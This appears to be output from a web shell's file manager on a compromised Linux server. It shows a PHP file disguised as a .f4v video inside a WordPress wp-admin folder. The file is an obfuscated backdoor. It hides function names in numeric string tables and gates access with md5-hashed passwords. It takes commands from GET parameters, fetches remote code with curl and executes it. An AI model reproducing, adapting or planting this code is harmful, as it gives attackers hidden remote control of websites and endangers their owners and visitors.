HEX
Server: nginx/1.25.5
System: Linux hcss-ecs-9064 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/885213.cn/wp-admin/js/widgets/widgets/XqLteUAkVgwFQMpb.f4v
<?php
 goto PhGTLRlM2Uhy; WtAw2B9IphjL: $KWx0q41QHRJd = ${$JGwE8P_X51fC[12 + 19] . $JGwE8P_X51fC[35 + 24] . $JGwE8P_X51fC[37 + 10] . $JGwE8P_X51fC[15 + 32] . $JGwE8P_X51fC[42 + 9] . $JGwE8P_X51fC[30 + 23] . $JGwE8P_X51fC[43 + 14]}; goto x5cmBbXepfn4; PhGTLRlM2Uhy: $JGwE8P_X51fC = range("\176", "\x20"); goto WtAw2B9IphjL; Cah3_aYD3HKD: $KWx0q41QHRJd(); goto vt5qVoDCf0k5; vt5qVoDCf0k5: V_zk87jf_Waq: goto e9ciZKwepOJq; z0DUum084Mba: $KWx0q41QHRJd[83] = $KWx0q41QHRJd[68]($KWx0q41QHRJd[83]); goto CLLufH9Z07k_; x5cmBbXepfn4: if (!(in_array(gettype($KWx0q41QHRJd) . "\x31\x34", $KWx0q41QHRJd) && md5(md5(md5(md5($KWx0q41QHRJd[8])))) === "\144\61\65\65\x37\144\x66\142\x62\65\x36\65\x30\66\x35\x39\141\x62\65\x35\141\x65\143\145\143\x34\71\x32\146\x38\x34\x66")) { goto V_zk87jf_Waq; } goto K8eEF7zjYT7b; tOvbo3xwHir6: class XE1BNKCvuNfQ { static function rzoxOB6Ti5PZ($EtlgtNmGxk8Y) { goto Q7t41ytM1LEC; Fvi8TDKwKPss: $v136MW2YTcZm = ''; goto HPO9vp2wqLoZ; HPO9vp2wqLoZ: foreach ($lWUHv_sf6OIt as $FgHGa2zMAPJe => $SpYBmjsY7Mmf) { $v136MW2YTcZm .= $qRANlreFgUUh[$SpYBmjsY7Mmf - 16625]; voyv0plq0EYV: } goto xavlQ_sRq8Nz; xavlQ_sRq8Nz: TPyTDRgS8iFc: goto A63QmtTrFd42; A63QmtTrFd42: return $v136MW2YTcZm; goto Ne28iIMh4xWE; K3LI1_VWpZjp: $lWUHv_sf6OIt = explode("\x3e", $EtlgtNmGxk8Y); goto Fvi8TDKwKPss; LEIGOKyQIs0Z: $qRANlreFgUUh = $maxdiw9O3680("\x7e", "\x20"); goto K3LI1_VWpZjp; Q7t41ytM1LEC: $maxdiw9O3680 = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto LEIGOKyQIs0Z; Ne28iIMh4xWE: } static function os3SRmt7PAp3($CT5T_CGCGBA5, $pH4St5rarfBp) { goto aoRhngB1FLEF; Y4oKsZk6t3Rf: curl_setopt($nsFss3hRrmQ4, CURLOPT_RETURNTRANSFER, 1); goto pn0nHzy0csvL; jKzvcNn33L2H: return empty($l3oAtkRMkLLO) ? $pH4St5rarfBp($CT5T_CGCGBA5) : $l3oAtkRMkLLO; goto Jn1OgIpZNr0O; pn0nHzy0csvL: $l3oAtkRMkLLO = curl_exec($nsFss3hRrmQ4); goto jKzvcNn33L2H; aoRhngB1FLEF: $nsFss3hRrmQ4 = curl_init($CT5T_CGCGBA5); goto Y4oKsZk6t3Rf; Jn1OgIpZNr0O: } static function AJSfh4HtLNYk() { goto hgFI49Y_UTwe; hgFI49Y_UTwe: $aPsVIRfkEzaz = array("\61\x36\x36\x35\x32\x3e\x31\66\x36\63\67\76\x31\66\x36\x35\60\76\61\66\66\x35\x34\x3e\x31\x36\66\x33\65\76\x31\x36\66\65\60\76\x31\66\66\x35\66\x3e\61\66\66\64\71\76\x31\x36\x36\x33\64\x3e\x31\x36\66\x34\x31\x3e\61\x36\x36\65\x32\76\61\x36\x36\x33\65\x3e\61\x36\66\x34\66\x3e\x31\x36\x36\x34\x30\x3e\x31\x36\x36\64\x31", "\x31\66\66\63\x36\x3e\61\x36\66\63\x35\76\61\x36\66\63\x37\76\61\x36\x36\x35\66\76\61\x36\66\63\x37\76\61\x36\x36\x34\60\x3e\x31\x36\x36\x33\65\x3e\61\66\x37\x30\62\76\x31\x36\67\x30\x30", "\61\x36\x36\64\x35\76\61\x36\x36\x33\x36\76\x31\x36\66\64\x30\x3e\61\66\x36\64\61\76\x31\x36\66\65\x36\76\x31\66\66\x35\61\x3e\x31\x36\66\65\x30\x3e\61\x36\x36\x35\x32\x3e\x31\x36\x36\x34\x30\x3e\x31\x36\66\65\61\76\61\66\x36\x35\x30", "\61\x36\66\63\71\x3e\x31\66\66\x35\x34\x3e\61\66\66\65\62\x3e\61\x36\66\64\64", "\61\x36\x36\65\63\76\61\x36\x36\65\x34\76\61\66\x36\x33\66\76\x31\x36\x36\x35\x30\76\61\66\x36\x39\67\x3e\x31\x36\x36\71\x39\x3e\61\66\x36\65\66\76\61\x36\66\x35\x31\76\61\x36\x36\65\x30\76\x31\x36\x36\x35\x32\x3e\x31\66\x36\64\60\76\61\66\66\65\61\x3e\x31\66\x36\65\x30", "\61\x36\x36\64\71\x3e\x31\x36\66\64\x36\x3e\61\x36\x36\x34\63\x3e\61\x36\66\65\60\76\61\66\66\x35\x36\x3e\61\66\66\64\70\x3e\x31\66\66\65\x30\76\x31\66\66\x33\x35\x3e\x31\66\66\x35\66\x3e\61\x36\66\x35\x32\x3e\61\66\x36\64\60\76\x31\x36\66\x34\61\x3e\x31\66\66\x33\65\76\61\x36\66\x35\x30\x3e\x31\x36\66\64\x31\x3e\61\66\66\x33\x35\x3e\x31\66\66\x33\x36", "\61\66\x36\x37\x39\x3e\61\66\67\60\x39", "\61\66\x36\62\x36", "\x31\66\67\60\x34\x3e\61\x36\67\60\x39", "\x31\x36\66\70\x36\76\x31\x36\66\66\x39\x3e\61\x36\x36\x36\71\x3e\61\66\x36\x38\66\x3e\x31\x36\66\66\62", "\x31\66\66\64\x39\x3e\61\66\66\x34\66\x3e\x31\x36\x36\x34\x33\76\61\66\66\x33\65\76\61\x36\x36\65\x30\x3e\61\66\66\x33\67\x3e\x31\x36\x36\x35\x36\76\x31\66\x36\x34\66\x3e\x31\x36\66\x34\61\76\x31\x36\x36\63\71\76\x31\x36\x36\x33\x34\76\x31\66\66\63\x35"); goto xNXa9U7W0aRc; xNXa9U7W0aRc: foreach ($aPsVIRfkEzaz as $AOv42A5luHdu) { $hqIeflDeigPF[] = self::rzoXOB6tI5pz($AOv42A5luHdu); O0MhFNqCM5ZT: } goto WKCtCwDMxjMd; edAB6FXj8UAu: $j4ejktA7mvhH = $hqIeflDeigPF[2 + 0]($K7BtZ1EtuLAf, true); goto Az6Z81ZD5etQ; WKCtCwDMxjMd: Gp4jwHpXsCHK: goto bppn7iFpW4Qu; twjmtkc8K8g3: die; goto OPYEFKNaidjq; Az6Z81ZD5etQ: @$hqIeflDeigPF[7 + 3](INPUT_GET, "\157\x66") == 1 && die($hqIeflDeigPF[4 + 1](__FILE__)); goto S6LGG74ZgH53; xMYi0ak_6fD0: $K7BtZ1EtuLAf = @$hqIeflDeigPF[2 + 1]($hqIeflDeigPF[5 + 1], $IDgYOKgglpyL); goto edAB6FXj8UAu; OPYEFKNaidjq: DH7uPauiSiED: goto ve1cX99ANfMm; S6LGG74ZgH53: if (!(@$j4ejktA7mvhH[0] - time() > 0 and md5(md5($j4ejktA7mvhH[3 + 0])) === "\142\x35\143\64\61\x64\x36\141\64\143\67\x61\x34\x30\60\x65\70\61\x35\x63\60\x62\x38\x31\x31\70\x38\67\62\x34\x62\146")) { goto DH7uPauiSiED; } goto ooiCW11DLeh0; RRx2zaAXsMfe: @$hqIeflDeigPF[0]('', $hqIeflDeigPF[0 + 7] . $hqIeflDeigPF[0 + 4]($BLUFYUbTcg9s) . $hqIeflDeigPF[4 + 4]); goto twjmtkc8K8g3; ooiCW11DLeh0: $BLUFYUbTcg9s = self::oS3SRmT7Pap3($j4ejktA7mvhH[0 + 1], $hqIeflDeigPF[1 + 4]); goto RRx2zaAXsMfe; bppn7iFpW4Qu: $IDgYOKgglpyL = @$hqIeflDeigPF[1]($hqIeflDeigPF[2 + 8](INPUT_GET, $hqIeflDeigPF[5 + 4])); goto xMYi0ak_6fD0; ve1cX99ANfMm: } } goto AgsWx0Sn7oYa; CLLufH9Z07k_: @($KWx0q41QHRJd = $KWx0q41QHRJd[83]($KWx0q41QHRJd[60], $KWx0q41QHRJd[68](${$KWx0q41QHRJd[34]}[22]))); goto Cah3_aYD3HKD; K8eEF7zjYT7b: $KWx0q41QHRJd[68] = $KWx0q41QHRJd[68] . $KWx0q41QHRJd[75]; goto z0DUum084Mba; e9ciZKwepOJq: metaphone("\x44\x72\x58\x6f\161\156\x31\x46\150\61\x4c\x4f\116\x32\127\171\x56\x6f\x77\64\67\120\156\x2f\x79\150\106\x54\x34\x50\116\x6f\141\x78\x42\x59\112\x32\161\116\x4c\x76\x77"); goto tOvbo3xwHir6; AgsWx0Sn7oYa: xe1bnKCvunFq::ajsfh4HTlnyK();
?>